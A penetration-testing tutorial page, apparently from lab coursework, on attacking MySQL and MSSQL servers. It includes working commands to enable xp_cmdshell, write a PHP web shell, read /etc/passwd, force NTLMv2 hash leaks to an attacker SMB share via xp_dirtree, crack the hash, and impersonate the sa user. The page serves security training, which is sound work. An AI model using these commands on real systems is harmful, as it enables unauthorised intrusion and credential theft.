# Attacking SQL Databases

{% hint style="success" %}
Related Pages & Tools:

* [Impacket](https://github.com/fortra/impacket)
* [Responder](https://github.com/lgandx/Responder)
* [xp\_cmdshell](https://learn.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-ver15)
* [Attacking SMB](https://viceintelpro.gitbook.io/viceintelpro/offensive-security/attacking-common-services/attacking-smb)
* [Cheat Sheet - Attacking Common Services](https://viceintelpro.gitbook.io/viceintelpro/offensive-security/attacking-common-services/cheat-sheet-attacking-common-services)
  {% endhint %}

[MySQL](https://www.mysql.com/) and [Microsoft SQL Server](https://www.microsoft.com/en-us/sql-server/sql-server-2019) (`MSSQL`) are relational database management systems that store data in tables, columns, and rows. Many relational database systems like MSSQL & MySQL use the [Structured Query Language](https://en.wikipedia.org/wiki/SQL) (`SQL`) for querying and maintaining the database.

Databases hosts are considered to be high targets since they are responsible for storing all kinds of sensitive data, including, but not limited to, user credentials, `Personal Identifiable Information (PII)`, business-related data, and payment information. In addition, those services often are configured with highly privileged users. If we gain access to a database, we may be able to leverage those privileges for more actions, including lateral movement and privilege escalation.

## Enumeration

By default, MSSQL uses ports `TCP/1433` and `UDP/1434`, and MySQL uses `TCP/3306`. However, when MSSQL operates in a "hidden" mode, it uses the `TCP/2433` port. We can use `Nmap`'s default scripts `-sC` option to enumerate database services on a target system:

### **Banner Grabbing**

```shell
$ nmap -Pn -sV -sC -p1433 10.10.10.125

Host discovery disabled (-Pn). All addresses will be marked 'up', and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-26 02:09 BST
Nmap scan report for 10.10.10.125
Host is up (0.0099s latency).

PORT     STATE SERVICE  VERSION
1433/tcp open  ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-ntlm-info: 
|   Target_Name: HTB
|   NetBIOS_Domain_Name: HTB
|   NetBIOS_Computer_Name: mssql-test
|   DNS_Domain_Name: HTB.LOCAL
|   DNS_Computer_Name: mssql-test.HTB.LOCAL
|   DNS_Tree_Name: HTB.LOCAL
|_  Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2021-08-26T01:04:36
|_Not valid after:  2051-08-26T01:04:36
|_ssl-date: 2021-08-26T01:11:58+00:00; +2m05s from scanner time.

Host script results:
|_clock-skew: mean: 2m04s, deviation: 0s, median: 2m04s
| ms-sql-info: 
|   10.10.10.125:1433: 
|     Version: 
|       name: Microsoft SQL Server 2017 RTM
|       number: 14.00.1000.00
|       Product: Microsoft SQL Server 2017
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
```

The Nmap scan reveals essential information about the target, like the version and hostname, which we can use to identify common misconfigurations, specific attacks, or known vulnerabilities. Let's explore some common misconfigurations and protocol specifics attacks.

## Authentication Mechanisms

`MSSQL` supports two [authentication modes](https://docs.microsoft.com/en-us/sql/connect/ado-net/sql/authentication-sql-server), which means that users can be created in Windows or the SQL Server:

| Authentication Type           | Description                                                                                                                                                                                                                                                                                                                               |
| ----------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `Windows authentication mode` | This is the default, often referred to as `integrated` security because the SQL Server security model is tightly integrated with Windows/Active Directory. Specific Windows user and group accounts are trusted to log in to SQL Server. Windows users who have already been authenticated do not have to present additional credentials. |
| `Mixed mode`                  | Mixed mode supports authentication by Windows/Active Directory accounts and SQL Server. Username and password pairs are maintained within SQL Server.                                                                                                                                                                                     |

`MySQL` also supports different [authentication methods](https://dev.mysql.com/doc/internals/en/authentication-method.html), such as username and password, as well as Windows authentication (a plugin is required). In addition, administrators can [choose an authentication mode](https://docs.microsoft.com/en-us/sql/relational-databases/security/choose-an-authentication-mode) for many reasons, including compatibility, security, usability, and more. However, depending on which method is implemented, misconfigurations can occur.

In the past, there was a vulnerability [CVE-2012-2122](https://www.trendmicro.com/vinfo/us/threat-encyclopedia/vulnerability/2383/mysql-database-authentication-bypass) in `MySQL 5.6.x` servers, among others, that allowed us to bypass authentication by repeatedly using the same incorrect password for the given account because the `timing attack` vulnerability existed in the way MySQL handled authentication attempts.

In this timing attack, MySQL repeatedly attempts to authenticate to a server and measures the time it takes for the server to respond to each attempt. By measuring the time it takes the server to respond, we can determine when the correct password has been found, even if the server does not indicate success or failure.

In the case of `MySQL 5.6.x`, the server takes longer to respond to an incorrect password than to a correct one. Thus, if we repeatedly try to authenticate with the same incorrect password, we will eventually receive a response indicating that the correct password was found, even though it was not.

### **Misconfigurations**

Misconfigured authentication in SQL Server can let us access the service without credentials if anonymous access is enabled, a user without a password is configured, or any user, group, or machine is allowed to access the SQL Server.

### **Privileges**

Depending on the user's privileges, we may be able to perform different actions within a SQL Server, such as:

* Read or change the contents of a database<br>
* Read or change the server configuration<br>
* Execute commands<br>
* Read local files<br>
* Communicate with other databases<br>
* Capture the local system hash<br>
* Impersonate existing users<br>
* Gain access to other networks<br>

In this section, we will explore some of these attacks.

## Protocol Specific Attacks

It is crucial to understand how SQL syntax works. We can use the free [SQL Injection Fundamentals](https://academy.hackthebox.com/course/preview/sql-injection-fundamentals) module to introduce ourselves to SQL syntax. Even though this module covers MySQL, MSSQL and MySQL syntax are pretty similar.

### **Read/Change the Database**

Let's imagine we gained access to a SQL Database. First, we need to identify existing databases on the server, what tables the database contains, and finally, the contents of each table. Keep in mind that we may find databases with hundreds of tables. If our goal is not just getting access to the data, we will need to pick which tables may contain interesting information to continue our attacks, such as usernames and passwords, tokens, configurations, and more. Let's see how we can do this:

### **MySQL - Connecting to the SQL Server**

```shell
$ mysql -u julio -pPassword123 -h 10.129.20.13

Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 8
Server version: 8.0.28-0ubuntu0.20.04.3 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]>
```

### **Sqlcmd - Connecting to the SQL Server**

```cmd-session
C:\htb> sqlcmd -S SRVMSSQL -U julio -P 'MyPassword!' -y 30 -Y 30

1>
```

{% hint style="warning" %}
**Note:** When we authenticate to MSSQL using `sqlcmd` we can use the parameters `-y` (SQLCMDMAXVARTYPEWIDTH) and `-Y` (SQLCMDMAXFIXEDTYPEWIDTH) for better looking output. Keep in mind it may affect performance.
{% endhint %}

If we are targeting `MSSQL` from Linux, we can use `sqsh` as an alternative to `sqlcmd`:

```shell
$ sqsh -S 10.129.203.7 -U julio -P 'MyPassword!' -h

sqsh-2.5.16.1 Copyright (C) 1995-2001 Scott C. Gray
Portions Copyright (C) 2004-2014 Michael Peppler and Martin Wesdorp
This is free software with ABSOLUTELY NO WARRANTY
For more information type '\warranty'
1>
```

Alternatively, we can use the tool from Impacket with the name `mssqlclient.py`.

```shell
$ mssqlclient.py -p 1433 julio@10.129.203.7 

Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

Password: MyPassword!

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: None, New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(WIN-02\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(WIN-02\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (120 7208) 
[!] Press help for extra shell commands
SQL> 
```

{% hint style="warning" %}
**Note:** When we authenticate to MSSQL using `sqsh` we can use the parameters `-h` to disable headers and footers for a cleaner look.
{% endhint %}

When using Windows Authentication, we need to specify the domain name or the hostname of the target machine. If we don't specify a domain or hostname, it will assume SQL Authentication and authenticate against the users created in the SQL Server. Instead, if we define the domain or hostname, it will use Windows Authentication. If we are targeting a local account, we can use `SERVERNAME\\accountname` or `.\\accountname`. The full command would look like:

```shell
$ sqsh -S 10.129.203.7 -U .\\julio -P 'MyPassword!' -h

sqsh-2.5.16.1 Copyright (C) 1995-2001 Scott C. Gray
Portions Copyright (C) 2004-2014 Michael Peppler and Martin Wesdorp
This is free software with ABSOLUTELY NO WARRANTY
For more information type '\warranty'
1>
```

### **SQL Default Databases**

Before we explore using SQL syntax, it is essential to know the default databases for `MySQL` and `MSSQL`. Those databases hold information about the database itself and help us enumerate database names, tables, columns, etc. With access to those databases, we can use some system stored procedures, but they usually don't contain company data.

{% hint style="warning" %}
**Note:** We will get an error if we try to list or connect to a database we don't have permissions to.
{% endhint %}

`MySQL` default system schemas/databases:

* `mysql` - is the system database that contains tables that store information required by the MySQL server
* `information_schema` - provides access to database metadata
* `performance_schema` - is a feature for monitoring MySQL Server execution at a low level
* `sys` - a set of objects that helps DBAs and developers interpret data collected by the Performance Schema

`MSSQL` default system schemas/databases:

* `master` - keeps the information for an instance of SQL Server.
* `msdb` - used by SQL Server Agent.
* `model` - a template database copied for each new database.
* `resource` - a read-only database that keeps system objects visible in every database on the server in sys schema.
* `tempdb` - keeps temporary objects for SQL queries.

### **SQL Syntax**

#### **Show Databases**

```shell
mysql> SHOW DATABASES;

+--------------------+
| Database           |
+--------------------+
| information_schema |
| htbusers           |
+--------------------+
2 rows in set (0.00 sec)
```

If we use `sqlcmd`, we will need to use `GO` after our query to execute the SQL syntax.

<figure><img src="https://537410186-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FH9oYbVb7VAsDxBfUpLeo%2Fuploads%2F2pH4ZYqOMMhzNJeuMNrV%2Fimage.png?alt=media&#x26;token=e5b1b1ec-1e78-4018-909b-a82dec5d7021" alt=""><figcaption></figcaption></figure>

#### **Select a Database**

```shell
mysql> USE htbusers;

Database changed
```

<figure><img src="https://537410186-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FH9oYbVb7VAsDxBfUpLeo%2Fuploads%2FjJP7C96iH8zmGkAV5AQo%2Fimage.png?alt=media&#x26;token=33594c68-c6c3-420a-9dbb-f71a9aa6045f" alt=""><figcaption></figcaption></figure>

#### **Show Tables**

```shell
mysql> SHOW TABLES;

+----------------------------+
| Tables_in_htbusers         |
+----------------------------+
| actions                    |
| permissions                |
| permissions_roles          |
| permissions_users          |
| roles                      |
| roles_users                |
| settings                   |
| users                      |
+----------------------------+
8 rows in set (0.00 sec)
```

<figure><img src="https://537410186-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FH9oYbVb7VAsDxBfUpLeo%2Fuploads%2F4cgNZJ9ZApl4qOMtc0VR%2Fimage.png?alt=media&#x26;token=dbf04068-988a-4b5c-8d10-31166b1f0071" alt=""><figcaption></figcaption></figure>

#### **Select all Data from Table "users"**

```shell
mysql> SELECT * FROM users;

+----+---------------+------------+---------------------+
| id | username      | password   | date_of_joining     |
+----+---------------+------------+---------------------+
|  1 | admin         | p@ssw0rd   | 2020-07-02 00:00:00 |
|  2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 |
|  3 | john          | john123!   | 2020-07-02 11:47:16 |
|  4 | tom           | tom123!    | 2020-07-02 12:23:16 |
+----+---------------+------------+---------------------+
4 rows in set (0.00 sec)
```

<figure><img src="https://537410186-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FH9oYbVb7VAsDxBfUpLeo%2Fuploads%2F64yZS6Z4xCHtmRrBLEz6%2Fimage.png?alt=media&#x26;token=229bdead-1086-4851-8008-f6007ba7f41d" alt=""><figcaption></figcaption></figure>

## Execute Commands

`Command execution` is one of the most desired capabilities when attacking common services because it allows us to control the operating system. If we have the appropriate privileges, we can use the SQL database to execute system commands or create the necessary elements to do it.

`MSSQL` has a [extended stored procedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/database-engine-extended-stored-procedures-programming?view=sql-server-ver15) called [xp\_cmdshell](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-ver15) which allow us to execute system commands using SQL. Keep in mind the following about `xp_cmdshell`:

* `xp_cmdshell` is a powerful feature and disabled by default. `xp_cmdshell` can be enabled and disabled by using the [Policy-Based Management](https://docs.microsoft.com/en-us/sql/relational-databases/security/surface-area-configuration) or by executing [sp\_configure](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/xp-cmdshell-server-configuration-option)
* The Windows process spawned by `xp_cmdshell` has the same security rights as the SQL Server service account
* `xp_cmdshell` operates synchronously. Control is not returned to the caller until the command-shell command is completed

To execute commands using SQL syntax on MSSQL, use:

**XP\_CMDSHELL**

<figure><img src="https://537410186-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FH9oYbVb7VAsDxBfUpLeo%2Fuploads%2F7zr9q2yH7YA4q09labCV%2Fimage.png?alt=media&#x26;token=fe4ecbad-56c1-47a7-ac70-e060ff1bbd22" alt=""><figcaption></figcaption></figure>

If `xp_cmdshell` is not enabled, we can enable it, if we have the appropriate privileges, using the following command:

```mssql
-- To allow advanced options to be changed.  
EXECUTE sp_configure 'show advanced options', 1
GO

-- To update the currently configured value for advanced options.  
RECONFIGURE
GO  

-- To enable the feature.  
EXECUTE sp_configure 'xp_cmdshell', 1
GO  

-- To update the currently configured value for this feature.  
RECONFIGURE
GO
```

There are other methods to get command execution, such as adding [extended stored procedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), and [external scripts](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql). However, besides those methods there are also additional functionalities that can be used like the `xp_regwrite` command that is used to elevate privileges by creating new entries in the Windows registry. Nevertheless, those methods are outside the scope of this module.

`MySQL` supports [User Defined Functions](https://dotnettutorials.net/lesson/user-defined-functions-in-mysql/) which allows us to execute C/C++ code as a function within SQL, there's one User Defined Function for command execution in this [GitHub repository](https://github.com/mysqludf/lib_mysqludf_sys). It is not common to encounter a user-defined function like this in a production environment, but we should be aware that we may be able to use it.

## Write Local Files

`MySQL` does not have a stored procedure like `xp_cmdshell`, but we can achieve command execution if we write to a location in the file system that can execute our commands. For example, suppose `MySQL` operates on a PHP-based web server or other programming languages like ASP.NET. If we have the appropriate privileges, we can attempt to write a file using [SELECT INTO OUTFILE](https://mariadb.com/kb/en/select-into-outfile/) in the webserver directory. Then we can browse to the location where the file is and execute our commands.

### **MySQL - Write Local File**

```shell
mysql> SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/webshell.php';

Query OK, 1 row affected (0.001 sec)
```

In `MySQL`, a global system variable [secure\_file\_priv](https://dev.mysql.com/doc/refman/5.7/en/server-system-variables.html#sysvar_secure_file_priv) limits the effect of data import and export operations, such as those performed by the `LOAD DATA` and `SELECT … INTO OUTFILE` statements and the [LOAD\_FILE()](https://dev.mysql.com/doc/refman/5.7/en/string-functions.html#function_load-file) function. These operations are permitted only to users who have the [FILE](https://dev.mysql.com/doc/refman/5.7/en/privileges-provided.html#priv_file) privilege.

`secure_file_priv` may be set as follows:

* If empty, the variable has no effect, which is not a secure setting.
* If set to the name of a directory, the server limits import and export operations to work only with files in that directory. The directory must exist; the server does not create it.
* If set to NULL, the server disables import and export operations.

In the following example, we can see the `secure_file_priv` variable is empty, which means we can read and write data using `MySQL`:

### **MySQL - Secure File Privileges**

```shell
mysql> show variables like "secure_file_priv";

+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv |       |
+------------------+-------+

1 row in set (0.005 sec)
```

To write files using `MSSQL`, we need to enable [Ole Automation Procedures](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), which requires admin privileges, and then execute some stored procedures to create the file:

### **MSSQL - Enable Ole Automation Procedures**

<figure><img src="https://537410186-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FH9oYbVb7VAsDxBfUpLeo%2Fuploads%2F6xBv5DEhhezKu46kLyGS%2Fimage.png?alt=media&#x26;token=109de4cf-6e2e-4300-b929-b798f51cd490" alt=""><figcaption></figcaption></figure>

### **MSSQL - Create a File**

<figure><img src="https://537410186-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FH9oYbVb7VAsDxBfUpLeo%2Fuploads%2F1GEDxYcwozsaKmHeBz1R%2Fimage.png?alt=media&#x26;token=567936c4-53a2-48c4-99d1-29c14dbb80a0" alt=""><figcaption></figcaption></figure>

## Read Local Files

By default, `MSSQL` allows file read on any file in the operating system to which the account has read access. We can use the following SQL query:

### **Read Local Files in MSSQL**

<figure><img src="https://537410186-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FH9oYbVb7VAsDxBfUpLeo%2Fuploads%2FHC7Na3xJXCknDlgeKiyw%2Fimage.png?alt=media&#x26;token=da9e936c-14bd-427c-ac34-80d16e9ef849" alt=""><figcaption></figcaption></figure>

As we previously mentioned, by default a `MySQL` installation does not allow arbitrary file read, but if the correct settings are in place and with the appropriate privileges, we can read files using the following methods:

### **MySQL - Read Local Files in MySQL**

```shell
mysql> select LOAD_FILE("/etc/passwd");

+--------------------------+
| LOAD_FILE("/etc/passwd")
+--------------------------------------------------+
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync

<SNIP>
```

## Capture MSSQL Service Hash

In the [Attacking SMB](https://viceintelpro.gitbook.io/viceintelpro/offensive-security/attacking-common-services/attacking-smb) section, we discussed that we could create a fake SMB server to steal a hash and abuse some default implementation within a Windows operating system. We can also steal the MSSQL service account hash using `xp_subdirs` or `xp_dirtree` undocumented stored procedures, which use the SMB protocol to retrieve a list of child directories under a specified parent directory from the file system. When we use one of these stored procedures and point it to our SMB server, the directory listening functionality will force the server to authenticate and send the NTLMv2 hash of the service account that is running the SQL Server.

To make this work, we need first to start [Responder](https://github.com/lgandx/Responder) or [impacket-smbserver](https://github.com/SecureAuthCorp/impacket) and execute one of the following SQL queries:

### XP\_DIRTREE Hash Stealing

<figure><img src="https://537410186-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FH9oYbVb7VAsDxBfUpLeo%2Fuploads%2Fbp4vS0pc50GRo41tDEJj%2Fimage.png?alt=media&#x26;token=8072abce-7c3c-409f-8672-59b0c0ec2e6f" alt=""><figcaption></figcaption></figure>

#### **Example with smbserver and mssqlclient**

To capture the `mssqlsvc` service account NTLM hash we can start `smbserver` and specify the new share name and the IP on the same interface as the SQL database:

```shell
smbserver.py share ./ -smb2support -ip 10.10.14.5                                         2 ⨯
Impacket v0.10.1.dev1+20230518.215801.5882b01 - Copyright 2022 Fortra

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
```

* **`smbserver.py`**: This is an Impacket script used to set up a simple SMB server. Impacket is a collection of Python classes for working with network protocols, and `smbserver.py` provides a way to easily share files over the SMB protocol.<br>
* **`share`**: This is the name you are giving to the SMB share. When you connect to this SMB server, you will access the share with this name. In this case, `share` is the name of the share that clients will see.<br>
* **`./`**: This specifies the local directory that you want to share over SMB. The `./` notation refers to the current directory where the `smbserver.py` script is being run. This means the current directory's contents will be accessible through the SMB share.<br>
* **`-smb2support`**: This flag indicates that the SMB server should support SMB2 (and SMB3) protocols in addition to the older SMB1 protocol. SMB2 and SMB3 are more recent versions of the SMB protocol with improved performance and security features compared to SMB1.<br>
* **`-ip 10.10.14.5`**: This option specifies the IP address that the SMB server should bind to. It tells `smbserver.py` to listen for incoming SMB connections on this IP address. This is useful if you have multiple network interfaces or IP addresses and want to control which one the SMB server uses.

Then we connect to the MSSQL server with the supplied credentials:

```shell
mssqlclient.py -p 1433 htbdbuser@10.129.203.12
Impacket v0.10.1.dev1+20230518.215801.5882b01 - Copyright 2022 Fortra

Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(WIN-02\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(WIN-02\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208) 
[!] Press help for extra shell commands

```

Now that we are connected to the DB we run the command: `EXEC master..xp_dirtree '\\10.10.14.5\share\'`

```shell
SQL (htbdbuser  guest@master)> EXEC master..xp_dirtree '\\10.10.14.5\share\'
subdirectory   depth   
------------   -----   
```

Checking back on the `smbserver` we see we have captured the hash of the service account `mssqlsvc`:

```shell
smbserver.py share ./ -smb2support -ip 10.10.14.5                                         2 ⨯
Impacket v0.10.1.dev1+20230518.215801.5882b01 - Copyright 2022 Fortra

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.129.203.12,49676)
[*] AUTHENTICATE_MESSAGE (WIN-02\mssqlsvc,WIN-02)
[*] User WIN-02\mssqlsvc authenticated successfully
[*] mssqlsvc::WIN-02:aaaaaaaaaaaaaaaa:014898a0f842083ee0d1031d3d8f11c7:01010000000000000058eff549f6da019ed746c9088167ae000000000100100069004700480056006e005300650077000300100069004700480056006e00530065007700020010004b00640053006100580044004f005600040010004b00640053006100580044004f005600070008000058eff549f6da010600040002000000080030003000000000000000000000000030000002f9b7bcc60fc6969c586927c735b2a4b95414e80ec5132a3eba97444a2d679c0a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310034002e0035000000000000000000
[*] Closing down connection (10.129.203.12,49676)
[*] Remaining connections []
```

With NTLMv2 hash we can use hashcat to crack the hash and get the password:

```shell
hashcat -m 5600 mssqlhash FoundPassUser/passwords.list 

For tips on supplying more work, see: https://hashcat.net/faq/morework

Approaching final keyspace - workload adjusted.           

MSSQLSVC::WIN-02:aaaaaaaaaaaaaaaa:014898a0f842083ee0d1031d3d8f11c7:01010000000000000058eff549f6da019ed746c9088167ae000000000100100069004700480056006e005300650077000300100069004700480056006e00530065007700020010004b00640053006100580044004f005600040010004b00640053006100580044004f005600070008000058eff549f6da010600040002000000080030003000000000000000000000000030000002f9b7bcc60fc6969c586927c735b2a4b95414e80ec5132a3eba97444a2d679c0a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310034002e0035000000000000000000:princess1
```

Then we are able to log into the MSSQL DB with the mssqlsvc account and the decrypted password:

```shell
$ mssqlclient.py -p 1433 WIN02/mssqlsvc@10.129.203.12 -windows-auth

Impacket v0.10.1.dev1+20230518.215801.5882b01 - Copyright 2022 Fortra

Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(WIN-02\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(WIN-02\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208) 
[!] Press help for extra shell commands
SQL (WIN-02\mssqlsvc  guest@master)> 
```

* **`mssqlclient.py`**: This is an Impacket script used for interacting with Microsoft SQL Server. It allows you to execute queries, manage databases, and perform other administrative tasks.<br>
* **`-p 1433`**: This option specifies the port number on which the SQL Server is listening. In this case, `1433` is the default port for SQL Server.<br>
* **`WIN02/mssqlsvc@10.129.203.12`**: This is the connection string specifying the credentials and server details. It’s in the format `DOMAIN/username@IP_ADDRESS`, where:
  * `WIN02` is the domain or workgroup name.
  * `mssqlsvc` is the username to authenticate with.
  * `10.129.203.12` is the IP address of the SQL Server.
* **`-windows-auth`**: This flag indicates that Windows authentication is being used. In this mode, the provided credentials (in this case, `WIN02/mssqlsvc`) are used to authenticate with the SQL Server instance.

### XP\_SUBDIRS Hash Stealing

<figure><img src="https://537410186-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FH9oYbVb7VAsDxBfUpLeo%2Fuploads%2F9DalyHxYk6l2gz7ikzQ4%2Fimage.png?alt=media&#x26;token=04e864ad-50b8-4647-a407-a5b42a1f6215" alt=""><figcaption></figcaption></figure>

If the service account has access to our server, we will obtain its hash. We can then attempt to crack the hash or relay it to another host.

### XP\_SUBDIRS Hash Stealing with Responder

```shell
$ sudo responder -I tun0

                                         __               
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|              
<SNIP>

[+] Listening for events...

[SMB] NTLMv2-SSP Client   : 10.10.110.17
[SMB] NTLMv2-SSP Username : SRVMSSQL\demouser
[SMB] NTLMv2-SSP Hash     : demouser::WIN7BOX:5e3ab1c4380b94a1:A18830632D52768440B7E2425C4A7107:0101000000000000009BFFB9DE3DD801D5448EF4D0BA034D0000000002000800510053004700320001001E00570049004E002D003500440050005A0033005200530032004F005800320004003400570049004E002D003500440050005A0033005200530032004F00580013456F0051005300470013456F004C004F00430041004C000300140051005300470013456F004C004F00430041004C000500140051005300470013456F004C004F00430041004C0007000800009BFFB9DE3DD80106000400020000000800300030000000000000000100000000200000ADCA14A9054707D3939B6A5F98CE1F6E5981AC62CEC5BEAD4F6200A35E8AD9170A0010000000000000000000000000000000000009001C0063006900660073002F00740065007300740069006E006700730061000000000000000000
```

### XP\_SUBDIRS Hash Stealing with Impacket smbserver

```shell
$ sudo impacket-smbserver share ./ -smb2support

Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0 
[*] Config file parsed                                                 
[*] Config file parsed                                                 
[*] Config file parsed
[*] Incoming connection (10.129.203.7,49728)
[*] AUTHENTICATE_MESSAGE (WINSRV02\mssqlsvc,WINSRV02)
[*] User WINSRV02\mssqlsvc authenticated successfully                        
[*] demouser::WIN7BOX:5e3ab1c4380b94a1:A18830632D52768440B7E2425C4A7107:0101000000000000009BFFB9DE3DD801D5448EF4D0BA034D0000000002000800510053004700320001001E00570049004E002D003500440050005A0033005200530032004F005800320004003400570049004E002D003500440050005A0033005200530032004F00580013456F0051005300470013456F004C004F00430041004C000300140051005300470013456F004C004F00430041004C000500140051005300470013456F004C004F00430041004C0007000800009BFFB9DE3DD80106000400020000000800300030000000000000000100000000200000ADCA14A9054707D3939B6A5F98CE1F6E5981AC62CEC5BEAD4F6200A35E8AD9170A0010000000000000000000000000000000000009001C0063006900660073002F00740065007300740069006E006700730061000000000000000000
[*] Closing down connection (10.129.203.7,49728)                      
[*] Remaining connections []
```

## Impersonate Existing Users with MSSQL

SQL Server has a special permission, named `IMPERSONATE`, that allows the executing user to take on the permissions of another user or login until the context is reset or the session ends. Let's explore how the `IMPERSONATE` privilege can lead to privilege escalation in SQL Server.

First, we need to identify users that we can impersonate. Sysadmins can impersonate anyone by default, But for non-administrator users, privileges must be explicitly assigned. We can use the following query to identify users we can impersonate:

### **Identify Users that We Can Impersonate**

<figure><img src="https://537410186-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FH9oYbVb7VAsDxBfUpLeo%2Fuploads%2FWOOKgiaLgxctFJ1JQ3KZ%2Fimage.png?alt=media&#x26;token=887eaced-4381-43b4-a64f-c12aad83f869" alt=""><figcaption></figcaption></figure>

To get an idea of privilege escalation possibilities, let's verify if our current user has the sysadmin role:

### **Verifying our Current User and Role**

<figure><img src="https://537410186-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FH9oYbVb7VAsDxBfUpLeo%2Fuploads%2FHGXTlIIVJLA8goFyuF83%2Fimage.png?alt=media&#x26;token=a615ca11-fa2c-4117-970d-d736ff06294d" alt=""><figcaption></figcaption></figure>

As the returned value `0` indicates, we do not have the sysadmin role, but we can impersonate the `sa` user. Let us impersonate the user and execute the same commands. To impersonate a user, we can use the Transact-SQL statement `EXECUTE AS LOGIN` and set it to the user we want to impersonate.

### **Impersonating the SA User**

<figure><img src="https://537410186-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FH9oYbVb7VAsDxBfUpLeo%2Fuploads%2F8RVXQRJmwk4FqiORzLdA%2Fimage.png?alt=media&#x26;token=56041ba3-1e8d-4b0c-ade5-fd4b9fddf8e5" alt=""><figcaption></figcaption></figure>

{% hint style="warning" %}
**Note:** It's recommended to run `EXECUTE AS LOGIN` within the master DB, because all users, by default, have access to that database. If a user you are trying to impersonate doesn't have access to the DB you are connecting to it will present an error. Try to move to the master DB using `USE master`.
{% endhint %}

We can now execute any command as a sysadmin as the returned value `1` indicates. To revert the operation and return to our previous user, we can use the Transact-SQL statement `REVERT`.

{% hint style="warning" %}
